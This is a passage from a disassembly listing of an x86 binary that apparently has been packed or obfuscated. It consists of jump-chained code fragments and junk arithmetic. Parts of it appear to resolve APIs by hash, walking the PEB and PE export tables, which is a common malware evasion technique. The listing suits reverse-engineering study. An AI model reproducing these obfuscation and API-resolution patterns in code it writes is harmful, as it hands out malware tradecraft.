--------------------------------------------------------------------------- loc_42B8B5: ; CODE XREF: wto1jq8f:00429027j jnz loc_42AFFB ; START OF FUNCTION CHUNK FOR sub_4260DB loc_42B8BB: ; CODE XREF: sub_4260DB+12j sub eax, 0CA36F370h call sub_429AE8 not ecx jmp sub_42A4FA ; END OF FUNCTION CHUNK FOR sub_4260DB ; --------------------------------------------------------------------------- adc edi, 6A09DC6Ah jmp sub_42B565 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_142. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425F4F loc_42B8D9: ; CODE XREF: sub_425F4F+3B14j jmp nullsub_67 ; END OF FUNCTION CHUNK FOR sub_425F4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42873E loc_42B8DE: ; CODE XREF: sub_42873E+12j jmp nullsub_143 ; END OF FUNCTION CHUNK FOR sub_42873E ; --------------------------------------------------------------------------- xchg esi, [esp] jmp loc_42BBB4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424D3A loc_42B8EB: ; CODE XREF: sub_424D3A:loc_42C9C4j jge loc_42B412 sbb esi, 1F95914Bh jmp loc_42B406 ; END OF FUNCTION CHUNK FOR sub_424D3A ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B8FC proc near ; CODE XREF: sub_4267AE+13FBp ; wto1jq8f:loc_429588j ; FUNCTION CHUNK AT 0042EE74 SIZE 00000005 BYTES push ebp mov ebp, esp loc_42B8FF: ; CODE XREF: wto1jq8f:0042BDEBj xchg ecx, esi push esi xchg ecx, esi jmp loc_42EE74 sub_42B8FC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42B909 proc near ; DATA XREF: wto1jq8f:00425D2Bo add edi, 0FB79B202h xchg edi, [esp+0] jmp sub_429165 sub_42B909 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42B917: ; CODE XREF: sub_42DC5C:loc_42DD4Fj jz loc_42D28E jmp loc_4274C8 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B276 loc_42B922: ; CODE XREF: sub_42B276+2652j xchg esi, [esp+4+var_4] mov ecx, esi pop esi pop eax pop ebp jmp loc_428B27 ; --------------------------------------------------------------------------- loc_42B92F: ; CODE XREF: sub_42B276+2641j call sub_42B990 jmp loc_42A307 ; END OF FUNCTION CHUNK FOR sub_42B276 ; --------------------------------------------------------------------------- ror eax, 6 xor edx, edi sbb ebx, 0FF103CD5h add eax, 0F412D491h xchg eax, [esp] jmp loc_426B2D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42B952: ; CODE XREF: sub_426535+7A34j jz loc_42834C jmp loc_42D7AE ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- test ebp, ebx jmp loc_42C0F0 ; --------------------------------------------------------------------------- loc_42B964: ; CODE XREF: wto1jq8f:00425F74j mov ds:dword_42E534, eax locret_42B96A: ; CODE XREF: wto1jq8f:00425B87j retn ; --------------------------------------------------------------------------- loc_42B96B: ; CODE XREF: wto1jq8f:00426BA6j ; wto1jq8f:004289AFj call sub_424F83 ; START OF FUNCTION CHUNK FOR sub_426D4F loc_42B970: ; CODE XREF: sub_426D4F+805Aj jmp loc_42B00D ; END OF FUNCTION CHUNK FOR sub_426D4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427E50 loc_42B975: ; CODE XREF: sub_427E50-BE4j jmp sub_42A56D ; END OF FUNCTION CHUNK FOR sub_427E50 ; --------------------------------------------------------------------------- loc_42B97A: ; CODE XREF: wto1jq8f:00425FA9j jmp loc_424DDD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244EA loc_42B97F: ; CODE XREF: sub_4244EA+6000j jz loc_42DB92 jmp loc_42C4CA ; END OF FUNCTION CHUNK FOR sub_4244EA ; --------------------------------------------------------------------------- loc_42B98A: ; CODE XREF: wto1jq8f:0042464Bj jns loc_42852B ; =============== S U B R O U T I N E ======================================= sub_42B990 proc near ; CODE XREF: sub_42B276:loc_42B92Fp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042C8C1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E8E9 SIZE 0000000F BYTES xchg edx, [esp+0] pop edx rol edx, 5 jmp loc_42C8C1 sub_42B990 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_57. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_42B99D: ; CODE XREF: sub_429BFF+14j jnz loc_42D636 jmp loc_42BC75 ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- loc_42B9A8: ; CODE XREF: wto1jq8f:loc_425F1Cj add eax, ebp push offset sub_42D953 jmp locret_42D96E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BD3 loc_42B9B4: ; CODE XREF: sub_429BD3:loc_427D21j jnz loc_42D802 jmp loc_428A41 ; END OF FUNCTION CHUNK FOR sub_429BD3 ; --------------------------------------------------------------------------- loc_42B9BF: ; CODE XREF: wto1jq8f:00428B15j sbb edi, esi loc_42B9C1: ; CODE XREF: wto1jq8f:loc_426FA3j call sub_42A4FA ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42B9C6: ; CODE XREF: sub_42DC5C+102j jmp loc_429768 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- db 81h dd 45EFA9D5h, 3B9FE90Dh, 58A30000h, 0E8004295h, 0FFFFC7FDh dd 9A7A6852h, 0E0E90042h, 5EFFFFBEh, 2D94E9h, 1FC3C100h dd 0FFF589E9h, 0E9D187FFh, 3B9Fh ; --------------------------------------------------------------------------- locret_42BA00: ; CODE XREF: wto1jq8f:00425093j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244EA loc_42BA01: ; CODE XREF: sub_4244EA+15j cmp byte ptr [eax], 0CFh jz loc_427CC2 mov eax, [ebp-4] jmp loc_42AA49 ; END OF FUNCTION CHUNK FOR sub_4244EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DE65 loc_42BA12: ; CODE XREF: sub_42DE65:loc_42B7C6j push offset loc_426881 jmp nullsub_47 ; END OF FUNCTION CHUNK FOR sub_42DE65 ; --------------------------------------------------------------------------- loc_42BA1C: ; DATA XREF: sub_427A9E-2E5Co mov edx, 0A22F8A70h call sub_426C04 mov ds:dword_4254D8+444h, eax call sub_424585 loc_42BA30: ; CODE XREF: wto1jq8f:0042AE16j mov edx, 0A2CD59D9h jmp loc_426BE5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425CE2 loc_42BA3A: ; CODE XREF: sub_425CE2+7A08j shl eax, 2 push offset sub_425CE2 jmp loc_42B7D7 ; END OF FUNCTION CHUNK FOR sub_425CE2 ; --------------------------------------------------------------------------- byte_42BA47 db 0Fh ; DATA XREF: sub_4269FD:loc_424487o dd 0FFA58484h, 0B4C8BFFh, 0FC9090Ch, 0FFA57884h, 37A9E9FFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_42BA5E: ; CODE XREF: wto1jq8f:loc_42BAAAj call sub_42B5E4 jnz loc_42EF03 loc_42BA69: ; CODE XREF: wto1jq8f:0042E191j mov ecx, [ebx+edx-4] or ecx, ecx jmp loc_42E09A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BE69 loc_42BA74: ; CODE XREF: sub_42BE69:loc_42E5D7j jz loc_42DBE9 jmp loc_429054 ; END OF FUNCTION CHUNK FOR sub_42BE69 ; --------------------------------------------------------------------------- loc_42BA7F: ; CODE XREF: wto1jq8f:0042B008j push eax push 0D4256386h pop eax add eax, 2C1D9585h push offset sub_426500 jmp locret_42CCD3 ; --------------------------------------------------------------------------- loc_42BA96: ; CODE XREF: wto1jq8f:0042BD67j lea eax, [ebp-14h] push eax call sub_42B02D ; START OF FUNCTION CHUNK FOR sub_42A8ED loc_42BA9F: ; CODE XREF: sub_42A8ED+2AA5j mov ds:dword_42FB44, eax jmp loc_42D12E ; END OF FUNCTION CHUNK FOR sub_42A8ED ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_166. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42BAAA: ; CODE XREF: wto1jq8f:00427C4Cj jmp loc_42BA5E ; --------------------------------------------------------------------------- not edi jmp loc_425B55 ; --------------------------------------------------------------------------- push 99FC4D8Dh jmp sub_42D5BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E337 loc_42BAC0: ; CODE XREF: sub_42E337+Ej pop eax or eax, 0B6C254A4h rol eax, 1Ah add eax, 61676949h jmp loc_42AE54 ; END OF FUNCTION CHUNK FOR sub_42E337 ; --------------------------------------------------------------------------- test ebp, 302ACE52h jmp loc_42C043 ; --------------------------------------------------------------------------- movzx edx, byte ptr [ecx+edx] and eax, edx jz loc_42BBA1 jmp loc_42E89F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D397 loc_42BAF1: ; CODE XREF: sub_42D397:loc_4240D7j mov ebp, esp add esp, 0FFFFFFECh cmp ds:byte_425920, 0 push offset loc_42BD54 jmp loc_42C62E ; END OF FUNCTION CHUNK FOR sub_42D397 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_113. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A5C4 loc_42BB08: ; CODE XREF: sub_42A5C4+Cj jmp loc_42ABB1 ; END OF FUNCTION CHUNK FOR sub_42A5C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426950 loc_42BB0D: ; CODE XREF: sub_426950+1B3Fj jmp loc_4248CD ; END OF FUNCTION CHUNK FOR sub_426950 ; --------------------------------------------------------------------------- dw 6BE8h db 0F4h, 2 dup(0FFh) byte_42BB17 db 8Bh ; DATA XREF: sub_42B02D-2217o dd 0FB5CA300h, 0C0330042h, 42FB50A3h, 3639E900h db 2 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BB2A proc near ; CODE XREF: sub_42B02Dj ; FUNCTION CHUNK AT 0042F01F SIZE 00000005 BYTES push ebp mov ebp, esp push ecx jmp loc_42F01F sub_42BB2A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428DBE loc_42BB33: ; CODE XREF: sub_428DBE:loc_42A0A7j lea edx, [ebp-14h] mov eax, offset dword_42DAF4 call sub_42A56D lea eax, [ebp-14h] push eax push offset loc_42CB0D jmp nullsub_19 ; END OF FUNCTION CHUNK FOR sub_428DBE ; --------------------------------------------------------------------------- loc_42BB4E: ; CODE XREF: wto1jq8f:00424E76j pop ebx sbb esi, ebp cmp edi, edx jmp loc_425D61 ; =============== S U B R O U T I N E ======================================= sub_42BB58 proc near ; CODE XREF: wto1jq8f:004241DAj ; sub_426535:loc_429FCBp ; FUNCTION CHUNK AT 004274B3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A1F9 SIZE 00000009 BYTES mov [esp+0], esi pop esi push ecx pushf push 52E1A398h pop ecx sub ecx, 0E885AE69h add ecx, 95E69163h jmp loc_42A1F9 sub_42BB58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BB75 proc near ; DATA XREF: wto1jq8f:0042D878o ; FUNCTION CHUNK AT 004240ED SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0042AFC8 SIZE 00000005 BYTES mov [esp+0], ebp mov ebp, esp push ecx mov esp, ebp jmp loc_42AFC8 sub_42BB75 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429318 loc_42BB82: ; CODE XREF: sub_429318:loc_4284CFj xchg ebx, [esp+4+var_4] jmp sub_42DFE5 ; END OF FUNCTION CHUNK FOR sub_429318 ; =============== S U B R O U T I N E ======================================= sub_42BB8A proc near ; DATA XREF: sub_42BB8A-56B6o ; FUNCTION CHUNK AT 00424ED3 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00426052 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004264A3 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004264CE SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00427723 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428C1B SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042B7DC SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042C10F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DFB1 SIZE 00000011 BYTES mov eax, [ebp-8] shr eax, 6 xor [ebp-8], eax inc dword ptr [ebp-0Ch] jmp loc_427723 sub_42BB8A endp ; sp-analysis failed ; --------------------------------------------------------------------------- jz locret_428F4B ; START OF FUNCTION CHUNK FOR sub_427D00 loc_42BBA1: ; CODE XREF: wto1jq8f:0042BAE6j ; sub_427D00:loc_42D088j ... push 552BFD27h add ecx, eax jmp loc_42DBF4 ; END OF FUNCTION CHUNK FOR sub_427D00 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_15. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A59B loc_42BBAE: ; CODE XREF: sub_42A59B+8j jmp nullsub_83 ; END OF FUNCTION CHUNK FOR sub_42A59B ; --------------------------------------------------------------------------- locret_42BBB3: ; CODE XREF: wto1jq8f:0042985Cj retn ; --------------------------------------------------------------------------- loc_42BBB4: ; CODE XREF: wto1jq8f:0042B8E6j jmp sub_429165 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D00 loc_42BBB9: ; CODE XREF: sub_427D00-465j jmp loc_42974D ; END OF FUNCTION CHUNK FOR sub_427D00 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_42BBBE: ; CODE XREF: sub_42ADC7-4E26j jmp nullsub_101 ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429165 loc_42BBC3: ; CODE XREF: sub_429165+3j jns sub_424D63 add esp, 0FFFFFED8h mov [ebp+var_8], edx mov [ebp+var_4], eax jmp loc_424EFF ; END OF FUNCTION CHUNK FOR sub_429165 ; --------------------------------------------------------------------------- loc_42BBDA: ; CODE XREF: wto1jq8f:004291F0j jz loc_42BFC2 pop esi add edi, 8FE7E4C4h or esi, ebp cdq jmp loc_42BFBC ; --------------------------------------------------------------------------- db 8Bh dd 0E0C1E445h, 0E0558B08h, 0B12B60Fh, 0AC04E8C2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_42BC02: ; DATA XREF: wto1jq8f:00429F00o add edi, 51DD4617h xchg edi, [esp] jmp sub_424585 ; --------------------------------------------------------------------------- loc_42BC10: ; DATA XREF: sub_429281:loc_428323o mov eax, large fs:30h add eax, 54h mov eax, [eax] or eax, eax jz loc_424294 pop large dword ptr fs:0 add esp, 4 jmp loc_42CE64 ; --------------------------------------------------------------------------- loc_42BC33: ; CODE XREF: wto1jq8f:0042A752j jz loc_427788 ror ebx, 13h and esi, 0A8F58BE3h push 0A5D89ABBh jmp loc_42A98B ; --------------------------------------------------------------------------- adc edi, edx push eax jmp sub_4287D0 ; --------------------------------------------------------------------------- mov [edx], edi jmp near ptr sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426D4F loc_42BC5B: ; CODE XREF: sub_426D4F+42C4j and edi, 73385FD2h loc_42BC61: ; CODE XREF: sub_426D4F:loc_42EDA3j call sub_424585 mov edx, 3CC6743Ch call sub_429165 jmp loc_42C590 ; END OF FUNCTION CHUNK FOR sub_426D4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_42BC75: ; CODE XREF: sub_429BFF+1DA4j jge loc_42CFB7 cdq jmp loc_42D633 ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AFCD loc_42BC81: ; CODE XREF: sub_42AFCD+14j push (offset locret_42F419+1) jmp nullsub_21 ; END OF FUNCTION CHUNK FOR sub_42AFCD ; =============== S U B R O U T I N E ======================================= sub_42BC8B proc near ; DATA XREF: wto1jq8f:0042D2E3o pop ebp retn 4 sub_42BC8B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB36 loc_42BC8F: ; CODE XREF: sub_42CB36:loc_4246E0j ; wto1jq8f:00426670j ... mov edx, [esp+0] mov al, 1 call edx jmp loc_42EB9E ; END OF FUNCTION CHUNK FOR sub_42CB36 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BC9B proc near ; DATA XREF: sub_42D13F+1o var_4 = dword ptr -4 mov ebp, esp pushf mov [esp+4+var_4], ecx mov [ebp+var_4], eax call sub_42708B call sub_42885C jmp loc_4275F0 sub_42BC9B endp ; --------------------------------------------------------------------------- loc_42BCB3: ; CODE XREF: wto1jq8f:loc_42A0FDj xchg eax, [ebp+0] jmp loc_4261A6 ; --------------------------------------------------------------------------- loc_42BCBB: ; CODE XREF: wto1jq8f:00426B9Fj mov eax, ebp xchg eax, [esp] mov ebp, esp push edx push ecx push eax call sub_42E3FD loc_42BCCA: ; CODE XREF: wto1jq8f:0042CA7Dj jmp sub_424585 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42BCCF: ; CODE XREF: sub_42DC5C:loc_42DC85j jnz loc_4285DA jmp loc_42EC5E ; END OF FUNCTION CHUNK FOR sub_42DC5C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_83. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42BCDB: ; CODE XREF: wto1jq8f:loc_42957Cj jo loc_425AD0 jp loc_42E7A3 sub ebx, ebp jmp loc_42C8ED ; --------------------------------------------------------------------------- loc_42BCEE: ; CODE XREF: wto1jq8f:loc_427086j mov eax, [ecx] sbb edx, ecx jmp loc_42BDCC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AA68 loc_42BCF7: ; CODE XREF: sub_42AA68:loc_428620j push esi push 0F0E26C73h loc_42BCFD: ; CODE XREF: wto1jq8f:00428AD9j pop esi xor esi, 4959F193h add esi, ebp add esi, 46446218h mov [esi], eax pop esi jmp loc_42FCC1 ; END OF FUNCTION CHUNK FOR sub_42AA68 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9FC loc_42BD14: ; CODE XREF: sub_42D9FC:loc_4246C5j inc dword ptr [ebp-8] push offset sub_42D9FC jmp loc_427911 ; END OF FUNCTION CHUNK FOR sub_42D9FC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42BD22: ; CODE XREF: sub_426535+7163j jmp loc_42D93C ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424585 loc_42BD27: ; CODE XREF: sub_424585+5B0Dj jmp loc_42A3D0 ; END OF FUNCTION CHUNK FOR sub_424585 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42885C loc_42BD2C: ; CODE XREF: sub_42885C+Bj jmp nullsub_29 ; END OF FUNCTION CHUNK FOR sub_42885C ; =============== S U B R O U T I N E ======================================= sub_42BD31 proc near ; DATA XREF: wto1jq8f:0042DB71o var_4 = dword ptr -4 mov esi, eax pushf push 9A94F117h pop eax and eax, 13DAB84Eh add eax, 0EDB1F50Eh xchg eax, [esp+4+var_4] retn sub_42BD31 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42BD4A: ; CODE XREF: wto1jq8f:0042CEF0j jmp loc_424E2D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428AC6 loc_42BD4F: ; CODE XREF: sub_428AC6+Ej jmp loc_42E250 ; END OF FUNCTION CHUNK FOR sub_428AC6 ; --------------------------------------------------------------------------- loc_42BD54: ; DATA XREF: sub_42D397-189Ao jnz loc_42443C lea edx, [ebp-14h] mov eax, offset dword_425924 call sub_42A56D jmp loc_42BA96 ; --------------------------------------------------------------------------- loc_42BD6C: ; DATA XREF: sub_429017o xchg eax, [esp] mov eax, [esp] rol eax, 1Ah mov ds:dword_429088, eax retn ; --------------------------------------------------------------------------- ror eax, 1Ah jmp loc_42E3E0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D67C loc_42BD85: ; CODE XREF: wto1jq8f:0042990Fj ; sub_42D67C+3j jmp sub_42D9B0 ; END OF FUNCTION CHUNK FOR sub_42D67C ; --------------------------------------------------------------------------- not edi mov [eax], edx loc_42BD8E: ; CODE XREF: wto1jq8f:loc_427CD8j jmp sub_425C5F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42BD93: ; CODE XREF: sub_426535+1590j ; sub_426535:loc_42D473j lea eax, [ebp-26Fh] cmp dword ptr [eax], 47424454h jz loc_4265DB jmp loc_42F4F4 ; --------------------------------------------------------------------------- loc_42BDAA: ; CODE XREF: sub_426535:loc_424934j call sub_426C0C loc_42BDAF: ; CODE XREF: sub_42C6B1+Dj push ecx mov esp, ebp loc_42BDB2: ; CODE XREF: sub_42DC5C+32j pop ebp mov eax, ds:dword_429578 or eax, eax jnz loc_4268F1 jmp loc_429E55 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- cdq jmp loc_425986 ; --------------------------------------------------------------------------- loc_42BDCC: ; CODE XREF: wto1jq8f:0042BCF2j mov ebp, [edi] jle loc_424DAF loc_42BDD4: ; CODE XREF: wto1jq8f:loc_42A072j push 0DCB0EC76h pop eax push offset loc_428542 jmp loc_42DBF3 ; --------------------------------------------------------------------------- or ebx, esi jmp loc_42B3EC ; --------------------------------------------------------------------------- jmp loc_42B8FF ; --------------------------------------------------------------------------- pop ecx mov ebp, offset nullsub_163 call sub_426601 loc_42BDFB: ; DATA XREF: sub_4247C1+9o mov eax, [eax+0Ch] loc_42BDFE: ; CODE XREF: wto1jq8f:loc_424995j mov eax, [eax+0Ch] ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42BE01: ; CODE XREF: sub_42DC5C:loc_424C6Dj jnz loc_42DCC6 mov ebx, [eax+18h] mov ecx, [ebx+3Ch] mov ecx, [ebx+ecx+78h] jmp loc_427349 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- loc_42BE16: ; CODE XREF: wto1jq8f:00426D94j rol ecx, 0Eh and ecx, 0FA483444h xor ecx, 11F44510h add ecx, ebp call sub_427198 retn ; --------------------------------------------------------------------------- loc_42BE2D: ; CODE XREF: wto1jq8f:loc_42E3DBj sub ebx, 7A23FF88h or ebx, 492DC23Ah push offset loc_429835 jmp locret_42BE59 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C04 loc_42BE43: ; CODE XREF: sub_426C04+254j add eax, [ebp-4] add eax, 18h mov [ebp-10h], eax jmp loc_42E9D4 ; END OF FUNCTION CHUNK FOR sub_426C04 ; =============== S U B R O U T I N E ======================================= sub_42BE51 proc near ; CODE XREF: sub_426C04-242Ej add esp, 0FFFFFFE4h call sub_42A35F locret_42BE59: ; CODE XREF: wto1jq8f:0042BE3Ej retn sub_42BE51 endp ; --------------------------------------------------------------------------- loc_42BE5A: ; CODE XREF: wto1jq8f:00426A9Fj push offset byte_42F6A9 jmp locret_4291E0 ; --------------------------------------------------------------------------- loc_42BE64: ; CODE XREF: wto1jq8f:0042EBAEj mov esi, 0FE51D58Ch ; =============== S U B R O U T I N E ======================================= sub_42BE69 proc near ; CODE XREF: sub_42D9D9:loc_42491Fp ; FUNCTION CHUNK AT 004242D1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424569 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00429054 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004296AB SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042A9E7 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042BA74 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042C9D4 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0042DBE7 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042E5D7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042FBDF SIZE 00000001 BYTES mov [esp+0], ecx pop ecx mov [ebp-1Ch], eax jo loc_42FBDF inc dword ptr [ebp-20h] jmp loc_4242D1 sub_42BE69 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42BE7E proc near ; DATA XREF: sub_4250D4+1Co ; FUNCTION CHUNK AT 0042DC48 SIZE 00000005 BYTES push ebp mov eax, [ebp-20h] call sub_42D67C pop ecx mov [ebp-20h], eax jmp loc_42DC48 sub_42BE7E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4250D4 loc_42BE90: ; CODE XREF: sub_4250D4:loc_4250E0j test byte ptr [ebp-7], 8 call sub_42D53B loc_42BE99: ; CODE XREF: sub_42DF3B+13j jmp sub_42ED32 ; END OF FUNCTION CHUNK FOR sub_4250D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428DDD loc_42BE9E: ; CODE XREF: sub_428DDD+182Aj ; wto1jq8f:loc_42E456j jmp loc_428B79 ; END OF FUNCTION CHUNK FOR sub_428DDD ; --------------------------------------------------------------------------- loc_42BEA3: ; CODE XREF: wto1jq8f:0042A2B3j jmp loc_42E4AD ; --------------------------------------------------------------------------- loc_42BEA8: ; CODE XREF: wto1jq8f:0042A148j jmp loc_42E72F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_29. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426166 loc_42BEAE: ; CODE XREF: sub_426166+Fj jmp nullsub_121 ; END OF FUNCTION CHUNK FOR sub_426166 ; --------------------------------------------------------------------------- test al, al jz loc_427581 jmp loc_42FB7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_42BEC0: ; CODE XREF: sub_429BFF-12E1j ; wto1jq8f:0042B52Fj popf jmp loc_42B244 ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DA7A loc_42BEC6: ; CODE XREF: sub_42DA7A:loc_42C6ACj mov eax, [ebp-4] push 0F7E6222Ch mov [esp+40h+var_40], eax call sub_42414C test eax, eax jmp loc_428851 ; END OF FUNCTION CHUNK FOR sub_42DA7A ; --------------------------------------------------------------------------- db 87h, 0F5h, 85h dd 0A91AE9FEh, 0EFC1FFFFh, 0AFE99911h db 0A7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4269FD loc_42BEEF: ; CODE XREF: sub_4269FD:loc_428E27j or edx, ebp jmp loc_42A722 ; END OF FUNCTION CHUNK FOR sub_4269FD ; =============== S U B R O U T I N E ======================================= sub_42BEF6 proc near ; CODE XREF: sub_42ADC7:loc_42600Dj ; FUNCTION CHUNK AT 00424B79 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00424E2D SIZE 0000000A BYTES push ebx push 0FF2EAED3h pop ebx or ebx, ds:4000FBh add ebx, 0AE179523h sub eax, ebx pop ebx xor ecx, 0F4F7E74Ch jmp loc_424B79 sub_42BEF6 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_51. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42BF18: ; CODE XREF: wto1jq8f:loc_429254j jz loc_42B698 jmp loc_4278F9 ; --------------------------------------------------------------------------- loc_42BF23: ; DATA XREF: wto1jq8f:0042D9A6o mov eax, [ebp+8] call sub_42621A jmp loc_428B6D ; --------------------------------------------------------------------------- loc_42BF30: ; CODE XREF: wto1jq8f:0042B6F4j jmp loc_4268C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429471 loc_42BF35: ; CODE XREF: sub_429471+2CCCj jnb loc_42D723 loc_42BF3B: ; CODE XREF: sub_429471:loc_424881j add edx, 1CE162E8h xchg edx, [esp+0] jmp loc_42F365 ; END OF FUNCTION CHUNK FOR sub_429471 ; --------------------------------------------------------------------------- loc_42BF49: ; DATA XREF: sub_42D2BB-30EBo add esi, 290BAAC2h push offset loc_42EFD6 jmp locret_42C3FD ; --------------------------------------------------------------------------- test eax, ecx jmp loc_428254 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C507 loc_42BF60: ; CODE XREF: sub_42C507:loc_42C2A5j mov edx, 0CF0182F6h call sub_426C04 mov ds:dword_42DB0C, eax loc_42BF6F: ; CODE XREF: sub_42CFE2:loc_424000j ; sub_42CFE2-8FC3j ... mov eax, ds:dword_42DB0C loc_42BF74: ; CODE XREF: wto1jq8f:loc_427BBEj call sub_42D765 mov esp, ebp pop ebp push ds:dword_42DB0C jmp loc_427F67 ; END OF FUNCTION CHUNK FOR 